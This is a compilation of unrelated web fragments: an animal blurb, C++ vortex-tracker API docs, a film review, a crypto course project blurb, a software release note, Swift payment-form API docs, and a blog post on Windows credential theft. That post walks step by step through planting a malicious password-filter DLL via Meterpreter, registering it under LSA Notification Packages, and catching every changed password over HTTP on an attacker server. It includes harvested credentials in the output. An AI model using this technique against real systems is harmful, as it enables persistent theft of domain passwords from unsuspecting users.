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South America's largest wild canid, the maned fox has a thick red coat, white tail, and distrinctly tall, erect ears. While they average only 50 pounds, maned wolves are usually taller than Great Danes. Not much is known of wild maned wolves, with the bulk of knowledge coming from studies conducted after they've entered human care. In some countries, maned wolves are referred to as the “fox on stilts.”


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| int | findVortex (int *marker, const double2 *wfc, double radius, int xDim, const double *x, int timestep) |
| Find vortex locations in the condensate. More... | |
| void | vortPos (const int *marker, std::vector< std::shared_ptr< Vtx::Vortex > > &vLocation, int xDim, const double2 *wfc) |
| Accepts matrix of vortex locations as argument, returns array of x,y coordinates of locations and winding. More... | |
| void | olPos (int *marker, int2 *vLocation, int xDim) |
| Accepts matrix of vortex locations as argument, returns array of x,y coordinates of locations and winding. More... | |
| std::shared_ptr< Vtx::Vortex > | vortPosDelta (int *cMarker, int2 *pMarker, double *x, double tolerance, int xDim) |
| Changes in vortex positions. Not implemented. See vort.py for current tracking. More... | |
| std::shared_ptr< Vtx::Vortex > | vortCentre (const std::vector< std::shared_ptr< Vtx::Vortex > > &cArray, int xDim) |
| Determines the most central vortex in the condensate. More... | |
| double | vortAngle (const std::vector< std::shared_ptr< Vtx::Vortex >> &vortCoords, const std::shared_ptr< Vtx::Vortex > central) |
| Determines the rotation angle of the vortex lattice. More... | |
| double | vortSepAvg (const std::vector< std::shared_ptr< Vtx::Vortex > > &vArray, const std::shared_ptr< Vtx::Vortex > centre) |
| Determines average inter-vortex separation about the condensate centre. More... | |
| double | sigVOL (const std::vector< std::shared_ptr< Vtx::Vortex > > &vArr, const int2 *opLatt, const double *x) |
| int | findOLMaxima (int *marker, double *V, double radius, int xDim, double *x) |
| Finds optical lattice maxima locations. Deprecated. More... | |
| void | vortArrange (std::vector< std::shared_ptr< Vtx::Vortex > > &vCoordsC, const std::vector< std::shared_ptr< Vtx::Vortex >> &vCoordsP) |
| Ensures the vortices are tracked and arranged in the right order based on minimum distance between previous and current positions. More... | |
| int | phaseTest (int2 vLoc, double2 *wfc, int xDim) |
| Checks given coordinate for phase singularity of +ve winding. More... | |
| void | lsFit (std::vector< std::shared_ptr< Vtx::Vortex >> &vortCoords, const double2 *wfc, int xDim) |
| Least-squares vortex code estimation. Loosely based on c42f's vortutils code. More... | |
See the source file for more info on functions.
| int Tracker::findOLMaxima | ( | int * | marker, |
| double * | V, | ||
| double | radius, | ||
| int | xDim, | ||
| double * | x | ||
| ) |
Finds optical lattice maxima locations. Deprecated.
| marker | Matrix of lattice maxima locations |
| V | Optical lattice potential |
| radius | Search radius for maxima |
| x | X grid |
| int Tracker::findVortex | ( | int * | marker, |
| const double2 * | wfc, | ||
| double | radius, | ||
| int | xDim, | ||
| const double * | x, | ||
| int | timestep | ||
| ) |
Find vortex locations in the condensate.
| marker | Matrix for vortex locations to nearest grid point |
| wfc | Wavefunction |
| radius | Vortex search radius in condensate |
| xDim | Length of X dimension |
| x | X grid |
| timestep | Timestep in simulation |
| void Tracker::lsFit | ( | std::vector< std::shared_ptr< Vtx::Vortex >> & | vortCoords, |
| const double2 * | wfc, | ||
| int | xDim | ||
| ) |
Least-squares vortex code estimation. Loosely based on c42f's vortutils code.
| vortCoords | Array of vortices. Result returned in struct double coordinates |
| wfc | Wavefunction |
| xDim | Length of X dimension |
| void Tracker::olPos | ( | int * | marker, |
| int2 * | vLocation, | ||
| int | xDim | ||
| ) |
Accepts matrix of vortex locations as argument, returns array of x,y coordinates of locations and winding.
| marker | Matrix containing vortex grid locations |
| vLocation | Array to store vortex data |
| xDim | Length of X dimension |
| wfc | Wavefunction |
| int Tracker::phaseTest | ( | int2 | vLoc, |
| double2 * | wfc, | ||
| int | xDim | ||
| ) |
Checks given coordinate for phase singularity of +ve winding.
| vLoc | Vortex location |
| wfc | Wavefunction |
| xDim | Length of X dimension |
| double Tracker::sigVOL | ( | const std::vector< std::shared_ptr< Vtx::Vortex > > & | vArr, |
| const int2 * | opLatt, | ||
| const double * | x | ||
| ) |
| double Tracker::vortAngle | ( | const std::vector< std::shared_ptr< Vtx::Vortex >> & | vortCoords, |
| const std::shared_ptr< Vtx::Vortex > | central | ||
| ) |
Determines the rotation angle of the vortex lattice.
| vortCoords | Array of vortices |
| central | Central vortex in lattice |
| void Tracker::vortArrange | ( | std::vector< std::shared_ptr< Vtx::Vortex > > & | vCoordsC, |
| const std::vector< std::shared_ptr< Vtx::Vortex >> & | vCoordsP | ||
| ) |
Ensures the vortices are tracked and arranged in the right order based on minimum distance between previous and current positions.
| vCoordsC | Current vortex locations |
| vCoordsP | Previous vortex locations |
| std::shared_ptr<Vtx::Vortex> Tracker::vortCentre | ( | const std::vector< std::shared_ptr< Vtx::Vortex > > & | cArray, |
| int | xDim | ||
| ) |
Determines the most central vortex in the condensate.
| cArray | Array of vortices |
| xDim | Length of X dimension |
| void Tracker::vortPos | ( | const int * | marker, |
| std::vector< std::shared_ptr< Vtx::Vortex > > & | vLocation, | ||
| int | xDim, | ||
| const double2 * | wfc | ||
| ) |
Accepts matrix of vortex locations as argument, returns array of x,y coordinates of locations and winding.
| marker | Matrix containing vortex grid locations |
| vLocation | Array to store vortex data |
| xDim | Length of X dimension |
| wfc | Wavefunction |
| std::shared_ptr<Vtx::Vortex> Tracker::vortPosDelta | ( | int * | cMarker, |
| int2 * | pMarker, | ||
| double * | x, | ||
| double | tolerance, | ||
| int | xDim | ||
| ) |
Changes in vortex positions. Not implemented. See vort.py for current tracking.
| cMarker | Current vortex location matrix |
| pMarker | Previous vortex location matrix |
| x | X grid |
| tolerance | Maximum change acceptable for a vortex to have moved |
| xDim | Length of X dimension |
| double Tracker::vortSepAvg | ( | const std::vector< std::shared_ptr< Vtx::Vortex > > & | vArray, |
| const std::shared_ptr< Vtx::Vortex > | centre | ||
| ) |
Determines average inter-vortex separation about the condensate centre.
| vArray | Vortices |
| centre | Central vortex in lattice |


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Disney's ATLANTIS: THE LOST EMPIRE mindlessly follows an animated formula so old that it creaks. A rag-tag group of eccentrics, led by a self-described "adventure capitalist," Commander Lyle T. Rourke (James Garner), is out to find and plunder the riches of the lost continent of Atlantis. Occupying the high moral ground, Michael J. Fox plays Milo Thatch, a museum cartographer and linguist who wants to locate Atlantis for all the right scientific reasons. Once there, Milo finds a babe in a bikini, Princess Kidagakash "Kida" (Cree Summer), who is a couple of thousand years old, but doesn't look more than 20.
The movie's exterior sequences dazzle with sweeping grandeur, but the interior ones are as flat as the story's lifeless, silly dialog. "Melt the butter and bring out the bibs," Commander Rourke barks to his crew. "I want this monster served up on a silver platter." The crew includes one guy who likes to blow holes in things, one who likes to drill holes and one old codger who has holes in his head. They all look act like tired veterans of a hundred Saturday morning cartoons. Where is the imagination and humor that Disney put into TARZAN? It had more to offer in five minutes than ATLANTIS does in a long hour and a half. And ATLANTIS really pales in comparison to Dreamworks' SHREK. Long sections of ATLANTIS could put those under thirteen to sleep.
Sometimes it is the funniest joke in a disappointing movie that best defines the film's limitations. The old guy in ATLANTIS has a tattoo of the United States on his chest. In order to impress a girl, he brags, "Watch me make Rhode Island dance," as he wiggles his tummy. That's as good as ATLANTIS ever gets.
ATLANTIS: THE LOST EMPIRE runs 1:33. It is rated PG for action violence and would be acceptable for any kid of any age.
My son Jeffrey, age 12, gave the film ***, saying that it was "good but wasn't that funny." His friends, Rajiv, Maxim and Sam, all 12, gave the picture ****, saying that it was creative and had a good plot.
The film opens nationwide in the United States on Friday, June 15, 2001. In the Silicon Valley, it will be showing at the AMC and the Century theaters.
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This application is part of a project developed for the modern cryptography introduction course in the Universidad de Chile. It consists in a little application that signs messages using a basic implementation of Ring Signatures. The basic idea was to test the idea of signing messages without sending the user's private key to any third-party by storing this information in a local database as is specified in the HTML5 Standard.


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http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
May be outdated, but the idea remains the same
Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages
with the name of a DLL (without the extension) that you place in Windows\System32\
For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password.
The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]).
So lets walk the exploitation:
First, you have to be admin or system, as this is more of a persistence method than anything.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Next, we upload the evilpassfilter.dll to Sytem32:
meterpreter > pwd
C:\Windows\system32
meterpreter > upload /tmp/evilpassfilter.dll .
[*] uploading : /tmp/evilpassfilter.dll -> .
[*] uploaded : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll
Then we need to query what is already in the notification packages list:
meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirassfm
What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default:
scecli
rassfm
We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this:
Once we have our file, we upload and import it using reg command:
meterpreter > upload importme.reg .
[*] uploading : importme.reg -> .
[*] uploaded : importme.reg -> .\importme.reg
meterpreter > execute -H -f regedit.exe -a '/s importme.reg'
Process 2628 created.
meterpreter >
Double check our work:
meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages"
Key: HKLM\System\CurrentcontrolSet\Control\Lsa
Name: Notification Packages
Type:
Data: sceclirnrassfmrnevilpassfilter
Its there, w00t! But it doesn't do anything until a reboot happens :(. Lets just force that to happen (not the most stealthy thing to do):
meterpreter > reboot
Rebooting...
While thats going on, lets set up the server to catch the basic auth.
msf exploit(psexec) > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on <IP_ADDRESS>:80...
[*] Using URL: http://<IP_ADDRESS>:80/
[*] Local IP: http://<IP_ADDRESS>:80/
[*] Server started.
msf auxiliary(http_basic) >
Then we wait for a password to be changed:
msf auxiliary(http_basic) >
[*] <IP_ADDRESS> http_basic - Sending 401 to client
[+] <IP_ADDRESS> - Credential collected: "jack:ASDqwe123" => /
No matter how complex their password is and without having a shell on the box anymore:
msf auxiliary(http_basic) >
[+] <IP_ADDRESS> - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => /
This works from Windows 2000, XP all the way up to Windows 8 & 2012.
Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter.
Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise)
InitializeChangeNotify()
JackJohnson:ASDqwe123
JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p
This attack supports a larger character set than most banks ;-)
Resources
[0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx
[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx
[2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx
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Freecell Solver version 3.8.0 has been released. It is available in the form of a source tarball from the download page.
This release fixes some crashes using --trim-max-stored-states, adds a more meaningful man page instead of the token one that was previously present, adds scripts/parallel-range-solver-total to solve a range of deals in parallel by splitting them into chunks, and many smaller improvements and fixes.
We also forgot to mention the 3.6.0 release, which fixed the installation of fcs_dllexport.h, added the --tracemem compile time option, added a bug fix for incrementally increasing the iterations/stored-states limits, added a built-in version of kazlib's balanced binary search tree as a possible back-end for storage, and had some other improvements.
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open class MLCardFormBuilder : NSObject
CardForm builder allows you to create a MLCardForm
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public init(publicKey: String, siteId: String, lifeCycleDelegate: MLCardFormLifeCycleDelegate)
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Merchant public key / collector public key
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public init(privateKey: String, siteId: String, lifeCycleDelegate: MLCardFormLifeCycleDelegate)
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Logged user key
lifeCycleDelegate
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didAddCard
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@discardableResult @objc(setFlowIdWithID:) open func setFlowId(_ flowId: String) -> MLCardFormBuilder
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@discardableResult open func setLanguage(_ language: String) -> MLCardFormBuilder
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Declaration
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@discardableResult @objc(setExcludedPaymentTypesWithTypes:) open func setExcludedPaymentTypes(_ excludedPaymentTypes: [String]) -> MLCardFormBuilder
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@discardableResult @objc(setTrackingConfigurationWithConfiguration:) open func setTrackingConfiguration(_ trackingConfiguration: MLCardFormTrackerConfiguration) -> MLCardFormBuilder
Parameters
trackingConfiguration
MLCardFormTrackerConfiguration
object. -
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Declaration
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@discardableResult open func setNavigationBarCustomColor(backgroundColor: UIColor, textColor: UIColor) -> MLCardFormBuilder
Parameters
backgroundColor
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object.textColor
UIColor
object. -
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Declaration
Swift
@discardableResult open func setAnimated(_ animated: Bool) -> MLCardFormBuilder
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animated
Bool